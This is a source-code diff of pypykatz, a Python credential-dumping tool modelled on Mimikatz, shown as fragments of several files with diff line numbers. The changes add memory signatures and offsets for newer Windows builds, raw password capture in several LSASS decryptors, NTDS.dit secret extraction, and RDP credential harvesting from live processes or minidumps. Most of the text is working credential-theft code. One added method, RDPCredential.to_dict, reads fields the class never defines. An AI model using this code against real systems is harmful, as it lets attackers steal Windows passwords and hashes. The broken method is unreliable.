962 self.TicketEncType = ULONG(reader).value
963 self.TicketKvno = ULONG(reader).value
964 reader.align()
965 self.Ticket = KIWI_KERBEROS_BUFFER(reader)
966
967
911968 class PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(POINTER):
912969 def __init__(self, reader):
913970 super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_10_1607)
1212 self.username = None
1313 self.domainname = None
1414 self.password = None
15 self.password_raw = b''
1516 self.luid = None
1617
1718 def to_dict(self):
2021 t['username'] = self.username
2122 t['domainname'] = self.domainname
2223 t['password'] = self.password
24 t['password_raw'] = self.password_raw
2325 t['luid'] = self.luid
2426 return t
2527 def to_json(self):
3032 t += '\tusername %s\n' % self.username
3133 t += '\tdomainname %s\n' % self.domainname
3234 t += '\tpassword %s\n' % self.password
35 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
3336 return t
3437
3538 class LiveSspDecryptor(PackageDecryptor):
5558 if suppCreds.credentials.Password.Length != 0:
5659 enc_data = suppCreds.credentials.Password.read_maxdata(self.reader)
5760 if c.username.endswith('$') is True:
58 c.password = self.decrypt_password(enc_data, bytes_expected=True)
61 c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True)
5962 if c.password is not None:
6063 c.password = c.password.hex()
6164 else:
62 c.password = self.decrypt_password(enc_data)
65 c.password, c.password_raw = self.decrypt_password(enc_data)
6366
6467 self.credentials.append(c)
6568
55 import io
66 import json
77 import base64
8 from pypykatz.commons.common import WindowsMinBuild, KatzSystemArchitecture, GenericReader, UniversalEncoder, hexdump
8 from pypykatz.commons.common import WindowsBuild, WindowsMinBuild, KatzSystemArchitecture, GenericReader, UniversalEncoder, hexdump
99 from pypykatz.commons.filetime import filetime_to_dt
10 #from pypykatz.commons.win_datatypes import *
1110 from pypykatz.lsadecryptor.packages.msv.templates import MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC
1211 from pypykatz.lsadecryptor.packages.credman.templates import KIWI_CREDMAN_LIST_STARTER, KIWI_CREDMAN_SET_LIST_ENTRY
1312 from pypykatz.lsadecryptor.package_commons import PackageDecryptor
1413
1514 class MsvCredential:
1615 def __init__(self):
16 self.credtype = 'msv'
1717 self.username = None
1818 self.domainname = None
1919 self.NThash = None
5252 self.luid = None
5353 self.username = None
5454 self.password = None
55 self.password_raw = b''
5556 self.domainname = None
5657
5758 def to_dict(self):
6061 t['username'] = self.username
6162 t['domainname'] = self.domainname
6263 t['password'] = self.password
64 t['password_raw'] = self.password_raw
6365 t['luid'] = self.luid
6466 return t
6567
7274 t += '\t\tusername %s\n' % self.username
7375 t += '\t\tdomain %s\n' % self.domainname
7476 t += '\t\tpassword %s\n' % self.password
77 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
7578 return t
7679
7780
281284
282285 def find_first_entry(self):
283286 #finding signature
287 #input('sig %s' % self.decryptor_template.signature.hex())
288 #input('sig %s' % self.decryptor_template.first_entry_offset)
284289 position = self.find_signature('lsasrv.dll',self.decryptor_template.signature)
285290
286291 #getting logon session count
287 if self.sysinfo.architecture == KatzSystemArchitecture.X64 and self.sysinfo.buildnumber > WindowsMinBuild.WIN_BLUE.value:
288 ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.offset2)
289 self.reader.move(ptr_entry_loc)
290 self.logon_session_count = int.from_bytes(self.reader.read(1), byteorder = 'big', signed = False)
291 else:
292 self.logon_session_count = 1
292 self.logon_session_count = 1
293 if self.sysinfo.architecture == KatzSystemArchitecture.X64:
294 if self.sysinfo.buildnumber >= WindowsBuild.WIN_8.value or (WindowsMinBuild.WIN_8.value <= self.sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value and self.sysinfo.msv_dll_timestamp > 0x60000000):
295 ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.offset2)
296 self.reader.move(ptr_entry_loc)
297 self.logon_session_count = int.from_bytes(self.reader.read(1), byteorder = 'big', signed = False)
293298
294299 #getting logon session ptr
295300 ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
296301 ptr_entry = self.reader.get_ptr(ptr_entry_loc)
297302 return ptr_entry, ptr_entry_loc
303
298304
299305 def add_entry(self, entry):
300306 self.current_logonsession = LogonSession.parse(entry, self.reader)
331337 if credman_credential_entry.cbEncPassword and credman_credential_entry.cbEncPassword != 0:
332338 enc_data = credman_credential_entry.encPassword.read_raw(self.reader, credman_credential_entry.cbEncPassword)
333339 if c.username.endswith('$') is True:
334 c.password = self.decrypt_password(enc_data, bytes_expected=True)
340 c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True)
335341 if c.password is not None:
336342 c.password = c.password.hex()
337343 else:
338 c.password = self.decrypt_password(enc_data)
344 c.password, c.password_raw = self.decrypt_password(enc_data)
339345
340346 c.luid = self.current_logonsession.luid
341347
351357
352358 self.log('Encrypted credential data \n%s' % hexdump(encrypted_credential_data))
353359 self.log('Decrypting credential structure')
354 dec_data = self.decrypt_password(encrypted_credential_data, bytes_expected = True)
360 dec_data, raw_dec = self.decrypt_password(encrypted_credential_data, bytes_expected = True)
355361 self.log('%s: \n%s' % (self.decryptor_template.decrypted_credential_struct.__name__, hexdump(dec_data)))
356
362
357363 struct_reader = GenericReader(dec_data, self.sysinfo.architecture)
358364 if len(dec_data) == MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC.size and dec_data[4:8] == b'\xcc\xcc\xcc\xcc':
359365 creds_struct = MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC(struct_reader)
33 # Tamas Jos (@skelsec)
44 #
55 import io
6 from pypykatz import logger
67 from minidump.win_datatypes import BOOLEAN, HANDLE
78 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild
89 from pypykatz.commons.win_datatypes import USHORT, ULONG, LSA_UNICODE_STRING, LSAISO_DATA_BLOB, \
2425
2526 @staticmethod
2627 def get_template(sysinfo):
28 logger.debug('buildnumber: %s' % sysinfo.buildnumber)
29 logger.debug('msv_dll_timestamp: %s' % sysinfo.msv_dll_timestamp)
2730 template = MsvTemplate()
2831 template.encrypted_credentials_list_struct = KIWI_MSV1_0_CREDENTIAL_LIST
2932 template.log_template('encrypted_credentials_list_struct', template.encrypted_credentials_list_struct)
9093 template.offset2 = -4
9194
9295 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
93 template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74'
94 template.first_entry_offset = 16
95 template.offset2 = -4
96 if sysinfo.msv_dll_timestamp > 0x60000000:
97 # new win2012 update weirdness
98 template.list_entry = PKIWI_MSV1_0_LIST_63
99 template.signature = b'\x8b\xde\x48\x8d\x0c\x5b\x48\xc1\xe1\x05\x48\x8d\x05'
100 template.first_entry_offset = 34
101 template.offset2 = -6
102 else:
103 template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74'
104 template.first_entry_offset = 16
105 template.offset2 = -4
96106
97107 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
98108 template.signature = b'\x8b\xde\x48\x8d\x0c\x5b\x48\xc1\xe1\x05\x48\x8d\x05'
116126 template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc9\x74'
117127 template.first_entry_offset = 23
118128 template.offset2 = -4
119
120 else:
121 #1903
129
130 elif WindowsBuild.WIN_10_1903.value <= sysinfo.buildnumber < WindowsBuild.WIN_11_2022.value:
122131 template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74'
123132 template.first_entry_offset = 23
124133 template.offset2 = -4
134
135 else:
136 #win11
137 template.signature = b'\x45\x89\x34\x24\x4c\x8b\xff\x8b\xf3\x45\x85\xc0\x74'
138 template.first_entry_offset = 24
139 template.offset2 = -4
140
141 #BYTE PTRN_WN11_LogonSessionList[] = {};
142 #logger.debug(template.signature.hex())
125143
126144 elif sysinfo.architecture == KatzSystemArchitecture.X86:
127145 if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value:
564582 self.SecondaryLocallyUniqueIdentifier = LUID(reader).value
565583 self.waza = reader.read(12)
566584 reader.align()
567 #
568 #print(hexdump(reader.peek(0x100)))
569 #input()
570 #
571585 self.UserName = LSA_UNICODE_STRING(reader)
572586 self.Domaine = LSA_UNICODE_STRING(reader)
573587 self.unk14 = PVOID(reader).value
596610 self.unk28 = PVOID(reader).value
597611 self.unk29 = PVOID(reader).value
598612 self.CredentialManager = PVOID(reader)
613
614
615
616
617
618
619 templates_test = {
620 #if WindowsMinBuild.WIN_XP.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value:
621 '0' : {
622 'signature' : b'\x4c\x8b\xdf\x49\xc1\xe3\x04\x48\x8b\xcb\x4c\x03\xd8',
623 'first_entry_offset' : -4,
624 'offset2' : 0
625 },
626 #elif WindowsMinBuild.WIN_2K3.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
627 '1' : {
628 'signature' : b'\x4c\x8b\xdf\x49\xc1\xe3\x04\x48\x8b\xcb\x4c\x03\xd8',
629 'first_entry_offset' : -4,
630 'offset2' : -45
631 },
632 #elif WindowsMinBuild.WIN_VISTA.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
633 '2' : {
634 'signature' : b'\x33\xff\x45\x85\xc0\x41\x89\x75\x00\x4c\x8b\xe3\x0f\x84',
635 'first_entry_offset' : 21, #-4,
636 'offset2' : -4
637 },
638 #elif WindowsMinBuild.WIN_7.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
639 '3' : {
640 'signature' : b'\x33\xf6\x45\x89\x2f\x4c\x8b\xf3\x85\xff\x0f\x84',
641 'first_entry_offset' : 19,
642 'offset2' : -4,
643 },
644 # elif WindowsMinBuild.WIN_8.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
645 '4' : {
646 'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74',
647 'first_entry_offset' : 16,
648 'offset2' : -4
649 },
650
651 ## elif WindowsMinBuild.WIN_BLUE.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
652 #'5' : {
653 # 'signature' : b'\x8b\xde\x48\x8d\x0c\x5b\x48\xc1\xe1\x05\x48\x8d\x05',
654 # 'first_entry_offset' : 36,
655 # 'offset2' : -6
656 #},
657
658 # elif WindowsMinBuild.WIN_BLUE.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
659 '5' : {
660 'signature' : b'\x8b\xde\x48\x8d\x0c\x5b\x48\xc1\xe1\x05\x48\x8d\x05',
661 'first_entry_offset' : 34,
662 'offset2' : -6
663 },
664
665 #elif WindowsBuild.WIN_10_1507.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1703.value:
666 #'6' : {
667 # 'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74',
668 # 'first_entry_offset' : 16,
669 # 'offset2' : -4
670 #},
671
672 '6' : {
673 'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74',
674 'first_entry_offset' : 34,
675 'offset2' : -6
676 },
677
678 # elif WindowsMinBuild.WIN_8.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
679 '7' : {
680 #1503 and 1603
681 'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74',
682 'first_entry_offset' : 16,
683 'offset2' : -4
684 },
685
686 # elif WindowsBuild.WIN_10_1703.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1803.value:
687 '8' : {
688 #1703
689 'signature' : b'\x33\xff\x45\x89\x37\x48\x8b\xf3\x45\x85\xc9\x74',
690 'first_entry_offset' : 23,
691 'offset2' : -4
692 },
693
694 # elif WindowsBuild.WIN_10_1803.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1903.value:
695 '9' : {
696 #1803
697 'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc9\x74',
698 'first_entry_offset' : 23,
699 'offset2' : -4
700 },
701
702 # elif WindowsBuild.WIN_10_1903.value <: sysinfo.buildnumber < WindowsBuild.WIN_11_2022.value:
703 '10' : {
704 'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74',
705 'first_entry_offset' : 23,
706 'offset2' : -4
707 },
708
709 # elif WindowsBuild.WIN_10_1703.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1803.value:
710 '11' : {
711 'signature' : b'\x45\x89\x34\x24\x4c\x8b\xff\x8b\xf3\x45\x85\xc0\x74',
712 'first_entry_offset' : 24,
713 'offset2' : -4,
714 },
715 }
1313 self.username = None
1414 self.domainname = None
1515 self.password = None
16 self.password_raw = b''
1617 self.luid = None
1718
1819 def to_dict(self):
2122 t['username'] = self.username
2223 t['domainname'] = self.domainname
2324 t['password'] = self.password
25 t['password_raw'] = self.password_raw
2426 t['luid'] = self.luid
2527 return t
2628
3234 t += '\t\tusername %s\n' % self.username
3335 t += '\t\tdomainname %s\n' % self.domainname
3436 t += '\t\tpassword %s\n' % self.password
37 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
3538 return t
3639
3740 class SspDecryptor(PackageDecryptor):
5356 c.domainname = ssp_entry.credentials.UserName.read_string(self.reader)
5457 if ssp_entry.credentials.Password.Length != 0:
5558 if c.username.endswith('$') is True or c.domainname.endswith('$') is True:
56 c.password = self.decrypt_password(ssp_entry.credentials.Password.read_data(self.reader), bytes_expected=True)
59 c.password, c.password_raw = self.decrypt_password(ssp_entry.credentials.Password.read_maxdata(self.reader), bytes_expected=True)
5760 if c.password is not None:
5861 c.password = c.password.hex()
5962 else:
60 c.password = self.decrypt_password(ssp_entry.credentials.Password.read_data(self.reader))
63 c.password, c.password_raw = self.decrypt_password(ssp_entry.credentials.Password.read_maxdata(self.reader))
6164
6265 if c.username == '' and c.domainname == '' and c.password is None:
6366 return
1515 self.username = None
1616 self.domainname = None
1717 self.password = None
18 self.password_raw = b''
1819 self.luid = None
1920
2021 def to_dict(self):
2324 t['username'] = self.username
2425 t['domainname'] = self.domainname
2526 t['password'] = self.password
27 t['password_raw'] = self.password_raw
2628 t['luid'] = self.luid
2729 return t
30
2831 def to_json(self):
2932 return json.dumps(self.to_dict())
3033
3336 t += '\t\tusername %s\n' % self.username
3437 t += '\t\tdomainname %s\n' % self.domainname
3538 t += '\t\tpassword %s\n' % self.password
39 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
3640 return t
3741
3842 class TspkgDecryptor(PackageDecryptor):
8185 if primary_credential.credentials.Password.Length != 0:
8286 enc_data = primary_credential.credentials.Password.read_maxdata(self.reader)
8387 if c.username.endswith('$') is True:
84 c.password = self.decrypt_password(enc_data, bytes_expected=True)
88 c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True)
8589 if c.password is not None:
8690 c.password = c.password.hex()
8791 else:
88 c.password = self.decrypt_password(enc_data)
92 c.password, c.password_raw = self.decrypt_password(enc_data)
8993
9094 self.credentials.append(c)
1414 self.username = None
1515 self.domainname = None
1616 self.password = None
17 self.password_raw = b''
1718 self.luid = None
1819
1920 def to_dict(self):
2223 t['username'] = self.username
2324 t['domainname'] = self.domainname
2425 t['password'] = self.password
26 t['password_raw'] = self.password_raw
2527 t['luid'] = self.luid
2628 return t
2729 def to_json(self):
3234 t += '\t\tusername %s\n' % self.username
3335 t += '\t\tdomainname %s\n' % self.domainname
3436 t += '\t\tpassword %s\n' % self.password
37 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
3538 return t
3639
3740 class WdigestDecryptor(PackageDecryptor):
6467 wc.domainname = DomainName.read_string(self.reader)
6568 wc.encrypted_password = Password.read_maxdata(self.reader)
6669 if wc.username.endswith('$') is True:
67 wc.password = self.decrypt_password(wc.encrypted_password, bytes_expected=True)
70 wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password, bytes_expected=True)
6871 if wc.password is not None:
6972 wc.password = wc.password.hex()
7073 else:
71 wc.password = self.decrypt_password(wc.encrypted_password)
74 wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password)
7275
7376 if wc.username == '' and wc.domainname == '' and wc.password is None:
7477 return
55
66 #import io
77 #from minidump.win_datatypes import *
8 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild
8 from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild
99 from pypykatz.commons.win_datatypes import LUID, ULONG, POINTER
1010 from pypykatz.lsadecryptor.package_commons import PackageTemplate
1111
6969 template.primary_offset = 32
7070 template.list_entry = PWdigestListEntry
7171
72 elif sysinfo.buildnumber >= WindowsMinBuild.WIN_10.value:
72 elif WindowsMinBuild.WIN_10.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1809.value:
7373 template.signature = b'\x74\x15\x8b\x0a\x39\x4e\x10'
7474 template.first_entry_offset = -6
7575 template.primary_offset = 32
7676 template.list_entry = PWdigestListEntry
7777
78 else:
78 else: # sysinfo.buildnumber >= WindowsBuild.WIN_10_1809:
7979 template.signature = b'\x74\x15\x8b\x17\x39\x56\x10'
8080 template.first_entry_offset = -6
8181 template.primary_offset = 32
0
1
2 #!/usr/bin/env python3
3 #
4 # Author:
5 # Tamas Jos (@skelsec)
6 #
7
8 import asyncio
9 import platform
10 from tqdm import tqdm
11
12 async def flush_buffer(buffer, outfile_handle = None):
13 try:
14 if outfile_handle is not None:
15 res = ''
16 for secret in buffer:
17 try:
18 res += str(secret)
19 except:
20 continue
21 outfile_handle.write(res)
22 else:
23 for secret in buffer:
24 try:
25 print(str(secret))
26 except:
27 continue
28
29 buffer = []
30 return True, None
31 except Exception as e:
32 return None, e
33
34 class ParsersCMDHelper:
35 def __init__(self):
36 self.live_keywords = ['parser']
37 self.keywords = ['parser']
38
39 def add_args(self, parser, live_parser):
40 parser_group = parser.add_parser('parser', help='SMB related commands')
41 parser_subparsers = parser_group.add_subparsers()
42 parser_subparsers.required = True
43 parser_subparsers.dest = 'parser_module'
44
45 ntds_group = parser_subparsers.add_parser('ntds', help='NTDS.dit file parser, extracting secrets')
46 ntds_group.add_argument('ntdsfile', help="NTDS.dit file")
47 ntds_group.add_argument('systemhive', help="SYSTEM hive file or the Bootkey(in hex). This is needed to decrypt the secrets")
48 ntds_group.add_argument('-p', '--progress', action='store_true', help="Show progress bar. Please use this only if you also specified an output file.")
49 ntds_group.add_argument('-o', '--outfile', help='Output file. If omitted secrets will be printed to STDOUT')
50 ntds_group.add_argument('--strict', action='store_true', help='Strict parsing. Fails on errors')
51 ntds_group.add_argument('--no-history', action='store_true', help='Do not parse history')
52
53
54 def execute(self, args):
55 if args.command in self.keywords:
56 asyncio.run(self.run(args))
57
58 if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords:
59 asyncio.run(self.run_live(args))
60
61
62 async def run_live(self, args):
63 if platform.system().lower() != 'windows':
64 raise Exception('Live commands only work on Windows!')
65
66 async def run(self, args):
67 if args.parser_module == 'ntds':
68 from aesedb.examples.ntdsparse import NTDSParserConsole
69 ntdscon = NTDSParserConsole(
70 args.systemhive,
71 args.ntdsfile,
72 ignore_errors=args.strict,
73 with_history=not args.no_history
74 )
75
76 buffer = []
77 buffer_size = 1000
78 total = await ntdscon.get_total_rows()
79 if args.progress is True:
80 pbar = tqdm(desc='JET table parsing ', total=total, unit='records', miniters= total//200 ,position=0)
81 pbar_sec = tqdm(desc='User secrets found', unit = '', miniters=buffer_size//10 ,position=1)
82
83 outfile_handle = None
84 if args.outfile is not None:
85 outfile_handle = open(args.outfile, 'w', newline = '')
86
87 async for secret, err in ntdscon.get_secrets():
88 if err is not None:
89 raise err
90
91 if args.progress is True:
92 pbar.update()
93
94 if secret is None:
95 continue
96
97 if args.progress is True:
98 pbar_sec.update()
99
100
101 buffer.append(secret)
102 if len(buffer) > buffer_size:
103 _, err = await flush_buffer(buffer, outfile_handle)
104 buffer = []
105 if err is not None:
106 raise err
107
108
109 _, err = await flush_buffer(buffer, outfile_handle)
110 buffer = []
111 if err is not None:
112 raise err
113
114
115 #parser = NTDSParserConsole(args.systemhive, args.ntdsfile, show_progress = args.progress, outfile = args.outfile)
116 #await parser.run()
117
118
121121 print('[-] Failed to parse lsass via handle %s[@%s] Reason: %s' % (pid, lsass_handle, e))
122122
123123 @staticmethod
124 def go_live_phandle(lsass_process_handle, packages = ['all']):
124 def go_live_phandle(process_handle, packages = ['all']):
125125 if platform.system() != 'Windows':
126126 raise Exception('Live parsing will only work on Windows')
127127 from pypykatz.commons.readers.local.live_reader import LiveReader
128 reader = LiveReader(lsass_process_handle=lsass_process_handle)
128 reader = LiveReader(process_handle=process_handle)
129129 sysinfo = KatzSystemInfo.from_live_reader(reader)
130130 mimi = pypykatz(reader.get_buffered_reader(), sysinfo)
131131 mimi.start(packages)
246246 for lsa_dec_template in LsaTemplate.get_template_brute(self.sysinfo):
247247 try:
248248 lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo)
249 logger.debug(lsa_dec.dump())
249 lsa_dec.dump()
250250 except:
251251 pass
252252 else:
253253 logger.debug('Lucky you! Brutefoce method found a -probably- working template!')
254254 return lsa_dec
255
256255 def get_lsa(self):
257 #trying with automatic template detection
256 #trying with automatic template detection
258257 try:
259258 lsa_dec_template = LsaTemplate.get_template(self.sysinfo)
260259 lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo)
261 logger.debug(lsa_dec.dump())
260 lsa_dec.dump()
262261 except Exception as e:
263262 logger.debug('Failed to automatically detect correct LSA template! Reason: %s' % str(e))
264263 lsa_dec = self.get_lsa_bruteforce()
382381 self.get_ssp()
383382 except Exception as e:
384383 self.errors.append(('ssp', e))
384
385 if 'dpapi' in packages or 'all' in packages:
386 try:
387 self.get_dpapi()
388 except Exception as e:
389 self.errors.append(('dpapi', e))
390
391 if 'cloudap' in packages or 'all' in packages:
392 try:
393 self.get_cloudap()
394 except Exception as e:
395 self.errors.append(('cloudap', e))
385396
386397 if 'livessp' in packages or 'all' in packages:
387398 try:
389400 except Exception as e:
390401 self.errors.append(('livessp', e))
391402
392 if 'dpapi' in packages or 'all' in packages:
393 try:
394 self.get_dpapi()
395 except Exception as e:
396 self.errors.append(('dpapi', e))
397
398 if 'cloudap' in packages or 'all' in packages:
399 try:
400 self.get_cloudap()
401 except Exception as e:
402 self.errors.append(('cloudap', e))
403
403
404
(New empty file)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 from pypykatz.rdp.parser import RDPCredParser
7
8
9
10 class RDPCMDHelper:
11 def __init__(self):
12 self.live_keywords = ['rdp']
13 self.keywords = ['rdp']
14
15 def add_args(self, parser, live_parser):
16 # live
17 live_group = live_parser.add_parser('rdp', help='a')
18 live_rdp_subparsers = live_group.add_subparsers()
19 live_rdp_subparsers.required = True
20 live_rdp_subparsers.dest = 'live_rdp_module'
21
22 live_logonpasswords_group = live_rdp_subparsers.add_parser('logonpasswords', help='Parse RDP credentials (SERVER side)')
23 live_logonpasswords_group.add_argument('--pid', type=int, help = 'Search a specific process PID for RDP creds')
24 live_logonpasswords_group.add_argument('--all', action='store_true', help = 'Looks for all processes which use the rdp DLL rdpcorets.dll')
25
26 live_mstsc_group = live_rdp_subparsers.add_parser('mstsc', help='Parse RDP credentials (CLIENT side)')
27 live_mstsc_group.add_argument('--pid', type=int, help = 'Search a specific process PID for RDP creds')
28 live_mstsc_group.add_argument('--all', action='store_true', help = 'Looks for all processes which use the rdp DLL mstscax.dll')
29
30 # offline
31 group = parser.add_parser('rdp', help='Parse RDP credentials from minidump file')
32 rdp_subparsers = group.add_subparsers()
33 rdp_subparsers.required = True
34 rdp_subparsers.dest = 'rdp_module'
35
36 logonpasswords_group = rdp_subparsers.add_parser('logonpasswords', help='Parse RDP credentials (SERVER side) from minidump file. Plain-text passwords only for WINVER <= Win2012')
37 logonpasswords_group.add_argument('cmd', choices=['minidump'])
38 logonpasswords_group.add_argument('memoryfile', help='path to the dump file')
39
40 mstsc_group = rdp_subparsers.add_parser('mstsc', help='Parse RDP credentials (CLIENT side) from minidump file. Unable to recover plain-text passwords offline.')
41 mstsc_group.add_argument('cmd', choices=['minidump'])
42 mstsc_group.add_argument('memoryfile', help='path to the dump file')
43
44 def execute(self, args):
45 if len(self.keywords) > 0 and args.command in self.keywords:
46 self.run(args)
47
48 if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords:
49 self.run_live(args)
50
51 def run_live(self, args):
52 credparsers = RDPCredParser.go_live(pid = args.pid, all_rdp = args.all, live_rdp_module = args.live_rdp_module)
53 for credparser in credparsers:
54 for cred in credparser.credentials:
55 print(str(cred))
56
57 def run(self, args):
58 credparsers = RDPCredParser.parse_minidump_file(args.memoryfile, args.rdp_module)
59 for credparser in credparsers:
60 for cred in credparser.credentials:
61 print(str(cred))
0 import json
1 import hashlib
2 import math
3
4 from pypykatz import logger
5 from pypykatz.commons.common import hexdump
6 from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild
7
8
9 class RDPCredential:
10 def __init__(self):
11 self.credtype = 'rdp'
12 self.domainname = None
13 self.username = ''
14 self.password = ''
15 self.password_raw = b''
16 self.isencrypted = None
17 self.servername = ''
18 self.serverfqdn = ''
19
20 def to_dict(self):
21 t = {}
22 t['credtype'] = self.credtype
23 t['domainname'] = self.cachedir
24 t['username'] = self.PRT
25 t['password'] = self.key_guid
26 t['password_raw'] = self.dpapi_key
27 return t
28
29 def to_json(self):
30 return json.dumps(self.to_dict())
31
32 def __str__(self):
33 t = '\t== RDP Credential ==\n'
34 t += '\t\tdomainname %s\n' % self.domainname
35 t += '\t\tusername %s\n' % self.username
36 t += '\t\tpassword \'%s\'\n' % self.password
37
38 try:
39 t += '\t\tpassword_raw %s\n' % self.password_raw.hex()
40 except:
41 t += '\t\tpassword_raw %s\n' % self.password_raw
42
43 t += '\t\tisencrypted: %s\n' % str(self.isencrypted)
44 t += '\t\tservername: \'%s\'\n' % self.servername
45 t += '\t\tserverfqdn: \'%s\'\n' % self.serverfqdn
46 return t
47
48 class RDPCredentialDecryptorMstsc:
49 def __init__(self, process, reader, decryptor_template, sysinfo, find_first=False):
50 self.process = process
51 self.reader = reader
52 self.sysinfo = sysinfo
53 self.decryptor_template = decryptor_template
54 self.credentials = []
55 self.find_first = find_first
56
57 def find_string(self, chunck):
58 marker = chunck.find(b'\x00\x00')
59 if marker <= 0:
60 chunck = b''
61 return chunck[:marker + 1]
62
63 def find_entries(self, chunksize=10*1024):
64 reader = self.reader.get_reader()
65 handler = reader.get_handler()
66 memory_segments = reader.get_memory()
67
68 #x = self.reader.find_all_global(self.decryptor_template.signature)
69 for ms in memory_segments:
70 x = ms.search(self.decryptor_template.signature, handler)
71
72 for addr in x:
73 self.reader.move(addr)
74 properties = self.decryptor_template.properties_struct(self.reader)
75 if properties.unkh0 == int(0xdbcaabcd):
76 if properties.unkd1 >= 10 and properties.unkd1 < 500:
77 if properties.cbProperties >= 10 and properties.cbProperties < 500:
78 if properties.pProperties.value:
79 """
80 logger.debug("========TS_PROPERTIES_KIWI=========")
81 logger.debug("unkh0 = {}".format(hex(properties.unkh0)))
82 logger.debug("unkd0 = {}".format(hex(properties.unkd0)))
83 logger.debug("unkp2 = {}".format(hex(properties.unkp2)))
84 logger.debug("unkd1 = {}".format(properties.unkd1))
85 logger.debug("unkp3 = {}".format(hex(properties.unkp3)))
86 logger.debug("pProperties = {}".format(hex(properties.pProperties.value)))
87 logger.debug("cbProperties = {}".format(properties.cbProperties))
88 logger.debug("===================================")
89 """
90 try:
91 self.reader.move(properties.pProperties.value)
92 cred = RDPCredential()
93
94 for i in range(properties.cbProperties):
95 property = self.decryptor_template.property_struct(self.reader)
96
97 if property.szProperty and property.dwType > 0 and property.dwType < 20:
98 """
99 logger.debug("========TS_PROPERTY_KIWI=========")
100 logger.debug("szProperty = {}".format(hex(property.szProperty)))
101 logger.debug("dwType = {}".format(property.dwType))
102 logger.debug("pvData = {}".format(hex(property.pvData)))
103 logger.debug("unkp0 = {}".format(property.unkp0))
104 logger.debug("unkd0 = {}".format(property.unkd0))
105 logger.debug("dwFlags = {}".format(property.dwFlags))
106 logger.debug("unkd1 = {}".format(property.unkd1))
107 logger.debug("unkd2 = {}".format(property.unkd2))
108 logger.debug("pValidator = {}".format(hex(property.pValidator)))
109 logger.debug("unkp2 = {}".format(property.unkp2))
110 logger.debug("unkp3 = {}".format(property.unkp3))
111 logger.debug("=================================")
112 """
113 current_addr = self.reader.tell()
114 try:
115 self.reader.move(property.szProperty)
116 chunck = self.reader.read(1024)
117 string = self.find_string(chunck)
118 marker = string.find(b'\x00')
119 if marker > 0:
120 string = string[:marker]
121 szProperty = string.decode('utf-8')
122
123 szProperties = ["ServerName", "ServerFqdn", "ServerNameUsedForAuthentication", "UserSpecifiedServerName", "UserName", "Domain", "Password", "SmartCardReaderName", "RDmiUsername", "PasswordContainsSCardPin"]
124 if szProperty in szProperties:
125 value = ''
126 if property.dwType == 3:
127 value = "TRUE" if property.pvData else "FALSE"
128 #print("{:<35s}\t[bool] {}".format(szProperty, "TRUE" if property.pvData else "FALSE"))
129
130 if property.dwType == 4:
131 self.reader.move(property.pvData)
132 chunck = self.reader.read(1024)
133 string = self.find_string(chunck)
134 value = string.decode('utf-16-le')
135 #print("{:<35s}\t[wstring] '{}'".format(szProperty, string.decode('utf-16-le')))
136
